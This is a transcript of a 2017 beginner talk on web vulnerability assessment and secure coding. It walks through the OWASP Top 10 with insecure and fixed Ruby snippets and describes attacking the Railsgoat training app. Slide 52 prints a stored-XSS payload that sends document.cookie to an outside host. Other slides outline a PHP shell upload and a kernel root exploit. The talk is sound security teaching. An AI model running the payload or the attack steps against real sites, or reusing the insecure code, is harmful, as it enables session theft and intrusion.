Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Vulnerability assessment and secure coding in Web Applications

Paolo Perego
November 30, 2017

Vulnerability assessment and secure coding in Web Applications

This is the talk I delivered for "The Hack Week" event in Università di Parma, the 30th November 2017.

The event was organised by Unione degli Universitari - UDU Parma.

The talk is a very beginner oriented introduction into vulnerability assessment, safe coding hints for the new Owasp Top 10 2017 and a web2root path attacking Railsgoat application, part of the Owasp Broken Web Application project.

During the demo, we will show:
* how to gain info from 0-knowledge to understand the technology behind the target
* how to gain a low privileged shell, using malicious code upload into the broken web application
* how to gain a root shell using the right kernel exploit

Event link: https://www.facebook.com/events/148538812565644/
Organizer: https://www.facebook.com/uduparma/

Paolo Perego

November 30, 2017
Tweet

More Decks by Paolo Perego

Other Decks in Technology

Transcript

  1. Vulnerability assessment and secure coding
    in Web Applications

    View full-size slide

  2. self.inspect
    • 15+ years in application security
    • Lead a purple team
    • Blogger @ https://codiceinsicuro.it
    • Social as @thesp0nge
    • Husband, Dad and Taekwon-Do ITF
    athlete and trainer
    • Send comments or questions to
    [email protected]

    View full-size slide

  3. Agenda
    • The Red side
    • What’s a vulnerability?
    • Testing 172.16.202.241
    • The Blue side
    • What’s safe coding?
    • The Owasp Top 10 2017
    • Testing Railsgoat
    • Bonus track

    View full-size slide

  4. The Red side

    View full-size slide

  5. Words are important

    View full-size slide

  6. cyber |ˈsʌɪbə|
    adjective
    relating to or characteristic of the culture of computers, information technology,
    and virtual reality: the cyber age.
    security |sɪˈkjʊərɪti, sɪˈkjɔːrɪti|
    noun (plural securities)
    1 [mass noun] the state of being free from danger or threat: the system is
    designed to provide maximum security against toxic spills | job security.

    View full-size slide

  7. assess |əˈsɛs|
    verb [with object]
    evaluate or estimate the nature, ability, or quality of: the committee must assess the
    relative importance of the issues | [with clause] : it is difficult to assess whether this
    is a new trend.
    assessment |əˈsɛsmənt|
    noun [mass noun]
    the action of assessing someone or something: the assessment of educational needs
    | assessments of market value.

    View full-size slide

  8. vulnerability |vʌln(ə)rəˈbɪlɪti|
    noun (plural vulnerabilities) [mass noun]
    the quality or state of being exposed to the possibility of being attacked or
    harmed, either physically or emotionally: conservation authorities have
    realized the vulnerability of the local population | he is confined in isolation
    because of his vulnerability to infection | [count noun] : con artists are great
    at spotting our vulnerabilities.

    View full-size slide

  9. Putting all together
    A vulnerability assessment is the action of
    evaluating or estimating a system for the quality or
    state of being exposed to the possibility of being
    attacked or harmed

    View full-size slide

  10. The goal
    • A vulnerability assessment is
    something magic (in term of
    execution) with some defined rules:
    • A system has vulnerabilities
    • Those vulnerabilities can be
    (sometime) exploited

    View full-size slide

  11. Vulnerability Assessment
    workflow
    • During a vulnerability assessment we
    • Understand the nature of our target
    • Recognise running services
    • Enumerate vulnerabilities for those services
    • Exploit them
    • Celebrate

    View full-size slide

  12. Your skillset
    • Curious
    • Lateral thinker
    • Precise
    • Fast learner
    • Attitude to code

    View full-size slide

  13. TARGET = 172.16.202.241
    Let’s start by taking notes

    View full-size slide

  14. Reconnaissance
    • Gather baseline informations
    • Fingerprint running services

    View full-size slide

  15. Enumerate
    • Enumerate vulnerabilities for those
    services

    View full-size slide

  16. Enumerate
    • Assess web server configuration
    • Look for interesting folders in web sites
    • Look for interesting folders in target
    application

    View full-size slide

  17. Enumerate
    • Look for open shares
    • ( unfortunately none here :-( )

    View full-size slide

  18. Exploit
    • Look for local root exploits
    • Please wait until we get a non
    privileged shell… :-)

    View full-size slide

  19. The Blue side

    View full-size slide

  20. What’s safe code?
    • Coding is an art
    • Safe coding is the art of creating working code in a secure way
    • Safe coding means also create a secure environment for the running
    program
    • Choosing right technologies
    • Hardening configuration

    View full-size slide

  21. Your skillset
    • Curious
    • Lateral thinker
    • Precise
    • Fast learner
    • Attitude to code
    • Good listener
    • Patient
    • Attitude to talk and teach

    View full-size slide

  22. The OWASP Top 10 - 2017

    View full-size slide

  23. A1 - Injection
    • Segregation between commands and queries
    • Use Object Relational Mapping API to access data in a parameterised way
    • Use positive or "whitelist" server-side input validation.
    • Escape special characters (‘, &, -, ;)


    View full-size slide

  24. Don’t
    def update
    message = false
    user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")
    user.skip_user_id_assign = true
    user.update_attributes(params[:user].reject { |k| k == ("password" ||
    "password_confirmation") || "user_id" })
    pass = params[:user][:password]
    user.password = pass if !(pass.blank?)
    message = true if user.save!
    respond_to do |format|
    format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    format.json { render :json => {:msg => message ? "success" : "false "} }
    end
    end

    View full-size slide

  25. Do
    def update
    message = false
    user = current_user
    user.skip_user_id_assign = true
    user.update_attributes(params[:user].reject { |k| k == ("password" ||
    "password_confirmation") || "user_id" })
    pass = params[:user][:password]
    user.password = pass if !(pass.blank?)
    message = true if user.save!
    respond_to do |format|
    format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    format.json { render :json => {:msg => message ? "success" : "false "} }
    end
    end

    View full-size slide

  26. A2 - Broken Authentication
    • Multi factor authentication
    • Not use default credentials
    • Implement checks against weak passwords
    • Harden API against enumeration
    • Limit logins attempt & use account lockout mechanisms
    • Generate a secure session ID server side

    View full-size slide

  27. A3 - Sensitive Data Exposure
    • Classify your data against local rules ( PCI, SOX, GDPR )
    • Encrypt all sensitive data at rest
    • Protect communication channel with TLS
    • Disable caching sensitive data
    • Store passwords using strong adaptive and salted hashing functions

    View full-size slide

  28. Don’t
    before_save :hash_password
    def self.authenticate(email, password)
    auth = nil
    user = find_by_email(email)
    if user
    if user.password == Digest::MD5.hexdigest(password)
    auth = user
    else
    raise "Incorrect Password!"
    end
    else
    raise "#{email} doesn't exist!"
    end
    return auth
    end
    def hash_password
    if self.password.present?
    self.password = Digest::MD5.hexdigest(password)
    end
    end

    View full-size slide

  29. Do
    def self.authenticate(email, password)
    user = find_by_email(email)
    if user and user.password_hash == BCrypt::Engine.hash_secret(password,
    user.password_salt)
    user
    else
    "Invalid Credentials Supplied"
    end
    end
    def hash_password
    if self.password.present?
    self.password_salt = BCrypt::Engine.generate_salt
    self.password_hash = BCrypt::Engine.hash_secret(self.password,
    self.password_salt)
    end
    end

    View full-size slide

  30. A4 - XML External Entities (XXE)
    • Use less complex data formats (JSON)
    • Avoid serialise sensitive data
    • Disable XML entity and DTD processing
    • Implement positive ("whitelisting") server-side input validation, filtering,
    or sanitization

    View full-size slide

  31. A5 - Broken Access Control
    • Only public resources must be granted. Deny by default
    • Implement access control mechanisms
    • Disable directory listing
    • Implement logging for unauthorised resources
    • Implement rate limit for API

    View full-size slide

  32. Don’t
    class AdminController < ApplicationController
    before_filter :administrative, :if => :admin_param
    ...
    def admin_param
    params[:id] == '1'
    end

    View full-size slide

  33. Do
    class AdminController < ApplicationController
    before_filter :administrative

    View full-size slide

  34. A6 - Security Misconfiguration
    • Implement hardening procedures
    • Remove unnecessary tools and frameworks (libraries, daemons, compilers,
    …)
    • Review system configurations (e.g. with lynis)

    View full-size slide

  35. A7 - Cross-Site Scripting (XSS)
    • Use frameworks that automatically escape XSS
    • Don’t trust user inputs. Validate them, using encoding and whitelist
    approach

    View full-size slide

  36. A8 - Insecure Deserialization
    • Enforce security controls when receiving a serialised object
    • Running the code managing serialised object with as lower privileges as
    you can
    • Log and monitor the code managing serialisation, in particular for
    incoming and outgoing connections

    View full-size slide

  37. A9 - Using Components with
    Known Vulnerabilities
    • Remove any unnecessary library or dependency
    • Create and maintain an asset inventory for all technologies used in your
    application and follow their security life
    • Run security assessment tool for third party libraries and mitigate all
    security issues

    View full-size slide

  38. A10 - Insufficient Logging &
    Monitoring
    • Avoid logging sensitive information on files
    • Centralise your logs on a SIEM solution (e.g. splunk)
    • Protect logs against tampering

    View full-size slide

  39. Railsgoat
    Testing the web application

    View full-size slide

  40. Knockin’on a broken door
    • Target web application is vulnerable to
    user enumeration
    • Detailed error messages can lead an
    attacker to understand between non
    existent user and wrong password

    View full-size slide

  41. Knockin’on a broken door
    • Simple python script is able to give me
    valid credentials for web interface
    • We can use cewl tool to create a
    wordlist specific for the website
    • As we can see password is trivial to
    guess so no strict password policy is in
    place

    View full-size slide

  42. def create
    begin
    user = User.authenticate(params[:email], params[:password])
    rescue Exception => e
    end
    if user
    session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    redirect_to home_dashboard_index_path
    else
    flash[:error] = "Either your username and password is incorrect" #e.message
    render "new"
    end
    end

    View full-size slide

  43. Getting a shell
    • Web application has the capability of
    uploading a file
    • No controls on the type of file we
    upload
    • Attempt is made to upload a PHP script
    spawning a shell
    • Eventually the attempt succeeded

    View full-size slide

  44. Getting a root shell
    • We are regular users on Ubuntu 10.04
    • We look for exploits
    • We transfer exploit on target using
    HTTP
    • We compile the exploit
    • Root dance

    View full-size slide

  45. def self.make_backup(file, data_path, full_file_name)
    accepted_formats = [".txt", ".pdf"]
    return false unless accepted_formats.include? File.extname(full_file_name)
    FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}
    _#{file.original_filename}"
    end

    View full-size slide

  46. Access arbitrary info
    • On the Work Info section, the user
    identifier in the URL is used to retrieve
    information
    • Anyone can tamper the URL retrieving
    information about other users
    • Metacorp is more generous with Jack
    rather then Jim… Jim is not happy
    about that

    View full-size slide

  47. def index
    @user = current_user
    if !(@user) || @user.admin
    flash[:error] = "Apologies, looks like something went wrong"
    redirect_to home_dashboard_index_path
    end
    end

    View full-size slide

  48. Access Admin panel
    • To access admin panel, the user id is
    retrieved from URL
    • Tampering the URL, it is possible to go
    into administrative portal to manage
    users

    View full-size slide

  49. class AdminController < ApplicationController
    before_filter :administrative

    View full-size slide

  50. Executing code client side
    • Users can register on the target
    application
    • Target application doesn’t validate user
    first name
    • It is possible to store javascript on the
    database
    • The javascript is executed when
    rendering user’s page

    View full-size slide

  51. Since it is stored, even admin execute that code

    View full-size slide

  52. img=new Image();img.src=“http://172.16.202.250/cookie.txt?<br/>c="+document.cookie;
    No session cookie… let’s try another way

    View full-size slide

  53. <% @users.each do |u|%>


    <%= u.first_name %> <%= "#{u.last_name}"%>
    # removed .html_safe in app/views/layouts/admin/_get_all_users.html.erb


    Welcome, <%= current_user.first_name %>

    # removed .html_safe in app/views/layouts/shared/_header.html.erb

    View full-size slide

  54. Some static analysis

    View full-size slide

  55. Changing the paradigma
    • From a ‘devops’ world into a
    ‘secdevops’ world
    • Agile teams
    • Everyone committed to bring the code
    into production
    • Adding the ‘sec’ part means ton of stuff

    View full-size slide

  56. Sec Dev Ops
    • Bring security the agile way
    • Continuous security tests
    • Continuous mitigation
    • Continuous vulnerability management

    View full-size slide

  57. How to achieve Sec Dev Ops?
    • Create awareness programs
    • Write secure coding guidelines
    • Automate security tests into
    development pipeline

    View full-size slide

  58. Some links
    • To practice in break
    • https://www.vulnhub.com/
    • https://www.hackthebox.eu/
    • https://pentesterlab.com/exercises/
    • https://medium.com/@a.hilton83/oscp-training-vms-hosted-on-vulnhub-com-22fa061bf6a1
    • To pipeline automation
    • https://codiceinsicuro.it/chicchi/automatizzare-owasp-zap-in-mac-os-x/
    • https://www.aspectsecurity.com/blog/secure-devops-with-an-application-security-pipeline
    • https://www.appsecpipeline.org/
    • To read: https://codiceinsicuro.it

    View full-size slide

  59. Thanks!
    Or eventually the slide that never comes

    View full-size slide